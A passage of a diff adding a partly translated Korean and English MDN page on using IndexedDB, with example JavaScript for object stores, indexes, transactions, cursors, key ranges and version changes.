+   <td>이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 객체에는 키 경로와 같은 이름의 속성이 있어야합니다.</td>
+  </tr>
+  <tr>
+   <td>No</td>
+   <td>Yes</td>
+   <td>이 객체 저장소는 모든 종류의 값을 보유할 수 있습니다. 키가 자동으로 생성됩니다. 또한 특정 키를 사용하려는 경우 별도의 키 인수를 공급할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>이 객체 저장소는 JavaScript 객체만 포함 할 수 있습니다. 일반적으로 키가 자동으로 생성되고 생성된 키의 값은 키 경로와 동일한 이름을 가진 속성의 객체에 저장됩니다. 그러나 그러한 속성이 이미 존재하는 경우, 새로운 키를 생성하는 것이 아닌 속성의 값을 키로 사용됩니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>객체 저장소가 기본이 아닌 객체를 보유하고 있으면 객체 저장소에서 인덱스를 만들 수 있습니다. 인덱스를 사용하면 객체의 키가 아닌 저장된 객체의 속성 값을 사용하여 객체 저장소에 저장된 값을 검색할 수 있습니다.</p>
+
+<p>또한, 인덱스에는 저장된 데이터에 대한 간단한 제약 조건을 적용 할 수 있는 기능이 있습니다. 인덱스를 작성할 때 고유(unique) 플래그를 설정하면, 인덱스는 인덱스의 키 경로에 대해 동일한 값을 갖는 두 개의 객체가 저장되지 않도록 보장합니다. 따라서 예를 들자면, 사람 집단을 보유하고 있는 객체 저장소가 있고, 두 사람이 동일한 email 주소를 갖지 못 한다는 것을 보장하려는 경우, 이를 강제하기 위해 고유(unique) 플래그 설정한 인덱스를 사용하면 됩니다.</p>
+
+<p>이 부분은 혼란스러울 수도 있으므로 간단한 예제를 들어 설명하겠습니다. 먼저, 다음의 예에서 사용할 고객 데이터를 정의하겠습니다:</p>
+
+<pre class="brush: js notranslate"><code>// This is what our customer data looks like.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];</code></pre>
+
+<p>물론, 모든 사람이 사회 보장 번호(ssn)를 가지지 않기 때문에 ssn을 기본 키(primary key)로 지정하지 않을겁니다. 그리고 나이를 저장하는 대신 주로 생년월일을 저장하겠지만, 이러한 점은 편의를 위해 무시하고 지나가겠습니다. </p>
+
+<p>이제 자료를 저장하기 위해 indexedDB를 생성하는 과정을 보겠습니다:</p>
+
+<pre class="brush: js notranslate"><code>const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Handle errors.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore to hold information about our customers. We're
+  // going to use "ssn" as our key path because it's guaranteed to be
+  // unique - or at least that's what I was told during the kickoff meeting.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Create an index to search customers by name. We may have duplicates
+  // so we can't use a unique index.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Create an index to search customers by email. We want to ensure that
+  // no two customers have the same email, so use a unique index.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Use transaction oncomplete to make sure the objectStore creation is
+  // finished before adding data into it.
+  objectStore.transaction.oncomplete = function(event) {
+    // Store values in the newly created objectStore.
+    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
+    customerData.forEach(function(customer) {
+      customerObjectStore.add(customer);
+    });
+  };
+};</code></pre>
+
+<p>이전에 적었듯이, <code>onupgradeneeded</code> 는 데이터베이스의 구조를 변경할 수 있는 곳에 위치해야합니다. 이 이벤트 안에서 객체 저장소를 만들거나 삭제하고, 인덱스를 만들거나 지울 수 있습니다.</p>
+
+<p>객체 저장소는 <code>createObjectStore()</code>를 한번 호출함으로써 생성됩니다. 이 메소드는 저장소의 이름과 파라미터 객체를 인자로 받습니다. 파라미터 객체는 선택적으로 사용할 수 있지만, 이는 중요한 설정들을 정의하고 만들고자하는 객체 저장소의 타입을 정의하기 때문에 매우 중요합니다. 이번 예시에서, 우리는 객체 저장소의 이름을 "customers"로 짓고 개별 객체들이 유일하게 저장되도록 만들어주는 특성인 <code>keyPath</code>를 정의합니다. 그리고 사회 보장 번호(ssn)는 고유함이 보장되기 때문에, <code>keyPath</code>로 예제의 ssn 프로퍼티를 사용하며 ssn은 <code>objectStore</code> 에 저장되는 모든 객체에 반드시 포함되어야 합니다.<br>
+ 우리는 또한 저장된 객체의 <code>name</code> 프로퍼티를 찾기 위한 인덱스 "name"을 요청합니다.<br>
+ 또한 <code>createObjectStore()</code>, <code>createIndex()</code> 도 생성하려는 인덱스의 종류를 결정하는 선택적인 객체인 <code>options</code> 을 인자로 받습니다. <code>name</code> 프로퍼티가 없는 객체를 추가할 수는 있지만, 이 경우 그 객체는 "name" 인덱스에 나타나지 않습니다.</p>
+
+<p>이제 우리는 저장된 customer 객체를 가져오기 위해 <code>ssn</code> 을 이용하여 객체 저장소로부터 바로 가져오거나, 인덱스에서 그들의 이름을 이용해 가져올 수 있습니다. 이 과정이 어떻게 이루어지는지 배우기 위해, <a href="https://developer.mozilla.org/en/IndexedDB/Using_IndexedDB#Using_an_index" title="Using IndexedDB#Using an index">using an index</a> 섹션을 확인할 수 있습니다.</p>
+
+<h3 id="키_생성기_사용하기">키 생성기 사용하기</h3>
+
+<p>객체 저장소를 생성할 때 <code>autoIncrement</code> 플래그를 설정함으로써 키 생성기를 활성화할 수 있습니다. 기본값으로 이 플래그는 설정되지 않습니다.</p>
+
+<p>키 생성기가 활성화되면, 객체 저장소에 값을 추가할 때 키가 자동으로 추가됩니다. 처음 생성되면 키 생성기의 값은 항상 1로 설정되고, 새로 생성되는 키는 기본적으로 이전 키에서 1을 더한 값이 됩니다. 키 생성기의 값은 트랜잭션이 취소되는 등 데이터베이스 작업이 복구되는게 아닌 한 절대 작아지지 않습니다. 그래서 레코드를 지우거나 객체 저장소의 모든 레코드를 지우더라도 해당 객체 저장소의 키 생성기에는 영향을 끼치지 않습니다.</p>
+
+<p>우리는 아래와 같이 키 생성기와 함께 객체 저장소를 생성할 수 있습니다:</p>
+
+<pre class="brush: js notranslate"><code>// Open the indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+
+    var db = event.target.result;
+
+    // Create another object store called "names" with the autoIncrement flag set as true.
+    var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+    // Because the "names" object store has the key generator, the key for the name value is generated automatically.
+    // The added records would be like:
+    // key : 1 =&gt; value : "Bill"
+    // key : 2 =&gt; value : "Donna"
+    customerData.forEach(function(customer) {
+        objStore.add(customer.name);
+    });
+};</code></pre>
+
+<p>키 생성기와 관련된 보다 많은 정보는 <a href="http://www.w3.org/TR/IndexedDB/#key-generator-concept">"W3C Key Generators"</a> 를 참고해 주십시오.</p>
+
+<h2 id="데이터_추가_검색_및_제거">데이터 추가, 검색 및 제거</h2>
+
+<p>새 데이터베이스에서 작업을 하기전에, 트랜잭션을 시작할 필요가 있습니다. 트랜잭션은 데이터베이스 객체 단위로 작동하므로 트랜잭션을 사용할 객체 저장소를 지정해줘야합니다. 트랜잭션에 들어오고 나면, 자료가 있는 객체 저장소에 접근할 수 있고 요청을 만들 수 있습니다. 다음으로, 데이터베이스에 변경점을 만들지, 혹은 읽기만 할지 결정해야합니다. 트랜잭션은 다음의 3가지 모드가 있습니다: <code>readonly</code>, <code>readwrite</code>, 그리고 <code>versionchange</code>.</p>
+
+<p>객체 저장소나 인덱스를 만들거나 삭제하는 작업을 포함하여 데이터베이스의 "schema"나 구조를 변경하기 위해서 트랜잭션은 반드시 <code>versionchange</code> 여야 합니다. 이 트랜잭션은 {{domxref("IDBFactory.open")}} 메소드를 <code>version</code> 과 함께 호출할 경우 시작됩니다. (최신 사양이 구현되지 않은 WebKit 브라우저에서는 {{domxref("IDBFactory.open")}} 메소드는 데이터베이스의 이름(<code>name</code>) 하나만 인자로 받습니다. 따라서 <code>versionchange</code> 트랜잭션을 수립하기 위해서 {{domxref("IDBVersionChangeRequest.setVersion")}} 를 호출해야 합니다.)</p>
+
+<p>이미 존재하는 객체 저장소의 레코드를 읽기 위해서 트랜잭션은 <code>readonly</code> 혹은 <code>readwrite</code> 모드이면 됩니다. 이미 존재하는 객체 저장소에 변경점을 기록하기 위해서는 트랜잭션이 반드시 <code>readwrite</code> 모드여야합니다. 특정 트랜잭션은 {{domxref("IDBDatabase.transaction")}} 으로 열 수 있습니다. 이 메소드는 접근하고 싶은 객체 저장소들의 배열로 정의된 범위인 <code>storeNames</code>와 트랜잭션의 모드<code>mode</code> (<code>readonly</code> 혹은 <code>readwrite</code>), 2개의 인자를 받습니다. 이 메소드는 객체 저장소에 접근할 수 있는 {{domxref("IDBIndex.objectStore")}} 메소드를 포함한 트랜잭션 객체를 반환합니다. 모드가 지정되지 않는다면 기본적으로 트랜잭션은 <code>readonly</code> 모드로 열립니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}.) Previously in a <code>readwrite</code> transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the <code>complete</code> event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The <code>complete</code>event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further. If you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the <code>complete</code> event by creating a transaction using the experimental (non-standard) <code>readwriteflush</code> mode (see {{domxref("IDBDatabase.transaction")}}.</p>
+</div>
+
+<p>트랜잭션에서 적합한 범위와 모드를 사용함으로써 자료 접근을 빠르게 할 수 있습니다. 여기 두개의 팁이 있습니다:</p>
+
+<ul>
+ <li>범위를 지정할 때, 필요한 객체 저장소만 정하십시오. 이 방식은 겹치지 않는 범위의 트랜잭션들을 동시에 처리할 수 있게 해줍니다.</li>
+ <li><code>readwrite</code> 모드는 필요할때만 사용하십시오. 겹친 범위에 대해 <code>readonly</code> 트랜잭션은 동시에 실행될 수 있지만, <code>readwrite</code> 트랜잭션은 객체 저장소에 오직 한개만 작동할 수 있습니다. 더 자세한 내용은 <a href="/ko/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">Basic Concepts</a> 글에 있는 <dfn><a href="/ko/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#Database">transactions</a></dfn> 정의를 참고하십시오.</li>
+</ul>
+
+<h3 id="데이터베이스에_데이터_추가">데이터베이스에 데이터 추가</h3>
+
+<p>데이터베이스를 만들었다면, 데이터를 추가하고 싶을겁니다. 데이터 추가는 이렇게 할 수 있습니다:</p>
+
+<pre class="brush:js; notranslate">var transaction = db.transaction(["customers"], "readwrite");
+// Note: Older experimental implementations use the deprecated constant IDBTransaction.READ_WRITE instead of "readwrite".
+// In case you want to support such an implementation, you can just write:
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);</pre>
+
+<p><code>transaction()</code> 함수는 2개(1개는 옵션)의 인자를 받고 트랜잭션 객체를 반환합니다. 첫번째 인자는 트랜잭션이 확장될 객체 저장소의 목록입니다. 모든 객체 저장소에 대해 트랜잭션을 확장하고 싶다면 빈 배열을 넘겨줄 수 있습니다. 두번째 인자로 아무것도 넘기지 않는다면, 읽기 전용 트랜잭션이 반환됩니다. 쓰기 작업을 하고 싶다면, <code>readwrite</code> 플래그를 넘겨줘야 합니다.</p>
+
+<p>계속해서 트랜잭션을 사용하기 위해서는 트랜잭션의 생애 주기에 대해 이해할 필요가 있습니다. 트랜잭션은 이벤트 루프(Event loop)와 매우 밀접하게 연관되어 있습니다. 만일 당신이 트랜잭션을 만들어 놓고 사용하지 않은 채 이벤트 루프로 돌아가게 된다면 트랜잭션은 비활성화 상태가 됩니다. 트랜잭션을 활성화 상태로 유지하는 유일한 방법은 트랜잭션에 그것을 요청하는 것 뿐입니다. 요청이 완료되면 DOM 이벤트가 발생하며, 트랜잭션에 대한 요청이 성공했다는 가정 하에 해당 요청에 대한 콜백(Callback)이 일어나기 전까지 트랜잭션의 수명을 연장할 수 있습니다.  만일 당신이 트랜잭션에 대한 연장 요청 없이 이벤트 루프로 돌아가려 한다면  트랜잭션은 곧 비활성화가 된 후, 계속해서 비활성 상태를 유지할 것입니다. 트랜잭션에 대한 요청이 계속되는 한 트랜잭션은 활성화 상태를 유지합니다. 트랜잭션의 생애 주기는 매우 단순하지만 당신이 이에 적응하는 데에는 다소 시간이 걸릴 수 있습니다. 다른 예제 몇 개를 더 확인하는 것을 권장합니다. 만일 당신의 프로그램에서 <code>TRANSACTION_INACTIVE_ERR</code> 라는 에러 코드가 나타나기 시작한다면, 뭔가 잘못되기 시작한 것입니다.</p>
+
+<p>트랜잭션은 다음 세 개의 DOM 이벤트를 받을 수 있습니다: <code>error</code>, <code>abort</code>, 그리고 <code>complete</code>. 우리는 <code>error</code> 이벤트가 어떻게 버블링되는지에 대해 이미 이야기했으며, 이에 따라서 트랜잭션은 요청으로부터 발생하는 모든 에러 이벤트를 받아들입니다. 여기서 더욱 애매한 점은 에러를 처리하는 가장 기본적인 방식이 에러가 발생한 트랜잭션을 취소하는 것이라는 점입니다. 당신이 우선 <code>stopPropagation()</code>을 이용해 에러를 처리하고 난 후에 다른 행동을 하려고 해도, 전체 트랜잭션은 이미 롤백된 상황일 것입니다. 이러한 디자인은 당신이 에러 처리에 대해서 생각하도록 강제하지만, 만일 잘 정제된 에러 핸들링을 모든 트랜잭션에 만드는 것이 너무 번거롭다면 당신은 데이터베이스에 항상 캐치올 에러 핸들러(catchall error handler)를 추가하도록 설정할 수 있습니다. 당신이 만약 에러를 제어하지 않았거나 트랜잭션에서  <code>abort()</code>를 호출할 경우, 트랜잭션은 롤백되고 <code>abort</code> 이벤트는 취소될 것입니다. 반면, 트랜잭션에 대한 모든 요청이 정상적으로 처리되었을 경우엔 <code>complete</code> 이벤트를 반환합니다. 만일 당신이 매우 많은 데이터베이스 작업을 수행하고 있다면, 데이터베이스에 대한 개별 요청을 추적하는것보단 트랜잭션을 추적하는 것이 정신 건강에 이로울 것입니다.</p>
+
+<p>이제 당신이 트랜잭션을 만들었고, 당신은 그 트랜잭션을 통해 오브젝트 스토어에 접근해야 하는 상황이라고 가정해 봅시다. 트랜잭션은 당신이 트랜잭션을 만들 때 지정한 오브젝트 스토어만 사용할 수 있게 해줍니다. 그러고 나면 당신은 원하는 모든 데이터를 그곳에 추가할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn
+  };
+}</pre>
+
+<p>호출에서 <code>add()</code>까지의 과정에서 생성된 트랜잭션의 <code>result</code>는 추가된 데이터의 키와 같습니다. 따라서 이 경우, 오브젝트 스토어가 <code>ssn</code> 속성을 키 패스로 사용하기 때문에 추가된 데이터의 <code>ssn</code> 속성과 같은 값을 가질 것입니다. <code>add()</code> 함수를 사용할 때 같은 키를 가진 데이터가 데이터베이스 안에 존재하지 않아야 한다는 점에 주의하십시오. 만일 당신이 이미 존재하는 데이터를 수정하고 싶거나, 혹은 이미 데이터가 있건 말건 상관 없다면 문서 아래쪽의 {{ anch("Updating an entry in the database") }} 부분에서 소개하는 <code>put()</code> 함수를 사용하십시오. </p>
+
+<h3 id="데이터베이스로부터_데이터를_지우기">데이터베이스로부터 데이터를 지우기</h3>
+
+<p>데이터 삭제는 아주 익숙한 그 방식대로 하시면 됩니다:</p>
+
+<pre class="brush: js notranslate">var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};</pre>
+
+<h3 id="데이터베이스로부터_데이터_가져오기">데이터베이스로부터 데이터 가져오기</h3>
+
+<p>이제 데이터베이스 안에 정보도 들어 있겠다, 몇 가지 방법을 통해 정보를 가져와 봅시다. 가장 먼저, 가장 단순한 <code>get()</code>을 사용해 봅시다. 데이터를 가져오기 위해 당신은 키를 제공해야합니다. 이렇게:</p>
+
+<pre class="brush: js notranslate">var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};</pre>
+
+<p>"단순히" 가져오는 것 치고는 코드가 좀 많군요. 당신이 데이터베이스 수준에서 에러를 제어하고 있다면, 아래와 같이 간략화할 수도 있습니다:</p>
+
+<pre class="brush: js notranslate">db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};</pre>
+
+<p>어떻게 작동하는지 보이시나요? 오브젝트 스토어가 하나 뿐이기 때문에, 당신의 트랜잭션에서 필요한 오브젝트 스토어들의 리스트를 보낼 필요 없이 그냥 이름만 String으로 보내면 됩니다. 또한, 당신은 데이터베이스에서 읽기만 했기 때문에,  <code>"readwrite"</code> 트랜잭션은 필요하지 않습니다. <code>transaction()</code>을 특정한 모드 설정 없이 그냥 부를 경우엔 기본적으로 <code>"readonly"</code> 트랜잭션이 됩니다. 또 하나 신비한 점은 당신은 요청한 오브젝트를 따로 특정한 변수에 저장하지 않았다는 점입니다. DOM 이벤트는 요청을 대상으로 할 때 이벤트를 사용하여 <code>result</code>의 값을 불러올 수 있습니다.</p>
+
+<p>범위 제한과 모드 설정에 따라 데이터 접근 속도를 빠르게 할 수 있다는 점을 주목하십시오. 여기 몇개의 팁이 있습니다:</p>
+
+<ul>
+ <li>범위(<a href="https://developer.mozilla.org/ko/docs/IndexedDB/Using_IndexedDB$edit#scope">scope</a>)를 정의할 때, 당신이 필요로 하는 오브젝트 스토어만 지정하십시오. 이렇게 하면, 범위가 중복되지 않는 한 여러 개의 트랜잭션을 동시에 실행할 수 있습니다.</li>
+ <li><code>readwrite</code> 모드는 반드시 필요할 때만 사용하십시오. <code>readonly</code> 모드는 범위가 중복되더라도 동시에 실행 가능하지만, <code>readwrite</code> 모드는 한 오브젝트 스토어에 대해 동시에 하나밖에 실행할 수 없습니다. 더욱 자세한 정보는, 기본 개념서의 트랜잭션의 정의 항목(<a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_transaction">transactions in the Basic Concepts article</a>)을 참조하십시오. </li>
+</ul>
+
+<h3 id="데이터베이스의_내용을_업데이트하기">데이터베이스의 내용을 업데이트하기</h3>
+
+<p>이제 우리는 몇 개의 데이터를 꺼냈습니다. 이 데이터를 업데이트하고 다시 IndexedDB에 집어넣는 것은 매우 간단합니다. 이전 예제를 약간 업데이트해 봅시다:</p>
+
+<pre class="brush: js notranslate"><code>var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Get the old value that we want to update
+  var data = event.target.result;
+
+  // update the value(s) in the object that you want to change
+  data.age = 42;
+
+  // Put this updated object back into the database.
+  var requestUpdate = objectStore.put(data);
+   requestUpdate.onerror = function(event) {
+     // Do something with the error
+   };
+   requestUpdate.onsuccess = function(event) {
+     // Success - the data is updated!
+   };
+};</code></pre>
+
+<p>이제 우리는 <code>objectStore</code>를 만들고 사회보장번호(SSN)가 (<code>444-44-4444</code>)인 고객 레코드를 요청했습니다. 그리고 우리는 그 결과를 변수(<code>data</code>)에 넣고, 이 객체의 <code>age</code> 속성을 업데이트하여, 두 번째 요청(<code>requestUpdate</code>)을 만들어 고객 레코드를 다시 <code>objectStore</code>에 집어넣어 이전 값을 덮어썼습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 때 우리는 <code>readwrite</code> 모드를 사용해야 합니다. 우리가 지금 한 것은 단순히 데이터를 읽어오는 게 아니라, 다시 쓰는 것이기 때문입니다.</p>
+</div>
+
+<h3 id="Using_a_cursor">Using a cursor</h3>
+
+<p>Using <code>get()</code> requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:</p>
+
+<pre class="brush: js notranslate">var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};</pre>
+
+<p>The<code> openCursor()</code> function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the <code>result</code> of the request (above we're using the shorthand, so it's <code>event.target.result</code>). Then the actual key and value can be found on the <code>key</code> and <code>value</code> properties of the cursor object. If you want to keep going, then you have to call <code>continue()</code> on the cursor. When you've reached the end of the data (or if there were no entries that matched your <code>openCursor()</code> request) you still get a success callback, but the <code>result</code> property is <code>undefined</code>.</p>
+
+<p>One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:</p>
+
+<pre class="brush: js notranslate">var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Mozilla has also implemented <code>getAll()</code> to handle this case (and <code>getAllKeys()</code>, which is currently hidden behind the <code>dom.indexedDB.experimental</code> preference in about:config). These aren't part of the IndexedDB standard, so they may disappear in the future. We've included them because we think they're useful. The following code does precisely the same thing as above:</p>
+
+<pre class="brush: js notranslate"><code>objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};</code></pre>
+
+<p>There is a performance cost associated with looking at the <code>value</code> property of a cursor, because the object is created lazily. When you use <code>getAll()</code> for example, Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use <code>getAll()</code>. If you're trying to get an array of all the objects in an object store, though, use <code>getAll()</code>.</p>
+</div>
+
+<h3 id="Using_an_index">Using an index</h3>
+
+<p>Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.</p>
+
+<pre class="brush: js notranslate"><code>// First, make sure you created index in request.onupgradeneeded:
+// objectStore.createIndex("name", "name");
+// Otherwize you will get DOMException.
+
+var index = objectStore.index("name");
+
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};</code></pre>
+
+<p>The "name" cursor isn't unique, so there could be more than one entry with the <code>name</code> set to <code>"Donna"</code>. In that case you always get the one with the lowest key value.</p>
+
+<p>If you need to access all the entries with a given <code>name</code> you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:</p>
+
+<pre class="brush: js notranslate"><code>// Using a normal cursor to grab whole customer record objects
+index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+// Using a key cursor to grab customer record object keys
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.primaryKey);
+    cursor.continue();
+  }
+};</code></pre>
+
+<h3 id="Specifying_the_range_and_direction_of_cursors">Specifying the range and direction of cursors</h3>
+
+<p>If you would like to limit the range of values you see in a cursor, you can use a key range object and pass it as the first argument to <code>openCursor()</code> or <code>openKeyCursor()</code>. You can make a key range that only allows a single key, or one the has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value) or "open" (i.e., the key range does not include the given value). Here's how it works:</p>
+
+<pre class="brush: js notranslate"><code>// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+// To use one of the key ranges, pass it in as the first argument of openCursor()/openKeyCursor()
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};</code></pre>
+
+<p>Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing <code>prev</code> to the <code>openCursor()</code> function:</p>
+
+<pre class="brush: js notranslate"><code>objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</code></pre>
+
+<p>If you just want to specify a change of direction but not constrain the results shown, you can just pass in null as the first argument:</p>
+
+<pre class="brush: js notranslate"><code>objectStore.openCursor(null, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</code></pre>
+
+<p>Since the "name" index isn't unique, there might be multiple entries where <code>name</code> is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass <code>nextunique</code> (or <code>prevunique</code> if you're going backwards) as the direction parameter. When <code>nextunique</code> or <code>prevunique</code> is used, the entry with the lowest key is always the one returned.</p>
+
+<pre class="brush: js notranslate"><code>index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};</code></pre>
+
+<p>Please see "<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBCursor?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBCursor#Constants">IDBCursor Constants</a>" for the valid direction arguments.</p>
+
+<h2 id="Version_changes_while_a_web_app_is_open_in_another_tab">Version changes while a web app is open in another tab</h2>
+
+<p>When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call <code>open()</code> with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database. Here's how it works:</p>
+
+<pre class="brush: js notranslate">var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user close the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+</pre>
+
+<p>You should also listen for <code>VersionError</code> errors to handle the situation where already opened apps may initiate code leading to a new attempt to open the database, but using an outdated version.</p>
+
+<h2 id="Security">Security</h2>
+
+<p>IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.</p>
+
+<p>Third party window content (e.g. {{htmlelement("iframe")}} content) can access the IndexedDB store for the origin it is embedded into, unless the browser is set to <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">never accept third party cookies</a> (see {{bug("1147821")}}.)</p>
+
+<h2 id="Warning_about_browser_shutdown">Warning about browser shutdown</h2>
+
+<p>When the browser shuts down (because the user chose the Quit or Exit option), the disk containing the database is removed unexpectedly, or permissions are lost to the database store, the following things happen:</p>
+
+<ol>
+ <li>Each transaction on every affected database (or all open databases, in the case of browser shutdown) is aborted with an <code>AbortError</code>. The effect is the same as if {{domxref("IDBTransaction.abort()")}} is called on each transaction.</li>
+ <li>Once all of the transactions have completed, the database connection is closed.</li>
+ <li>Finally, the {{domxref("IDBDatabase")}} object representing the database connection receives a {{event("close")}} event. You can use the {{domxref("IDBDatabase.onclose")}} event handler to listen for these events, so that you know when a database is unexpectedly closed.</li>
+</ol>
+
+<p>The behavior described above is new, and is only available as of the following browser releases: Firefox 50, Google Chrome 31 (approximately).</p>
+
+<p>Prior to these browser versions, the transactions are aborted silently, and no {{event("close")}} event is fired, so there is no way to detect an unexpected database closure.</p>
+
+<p>Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete, and on older browsers, you don't even get told when they don't complete. There are several implications of this behavior.</p>
+
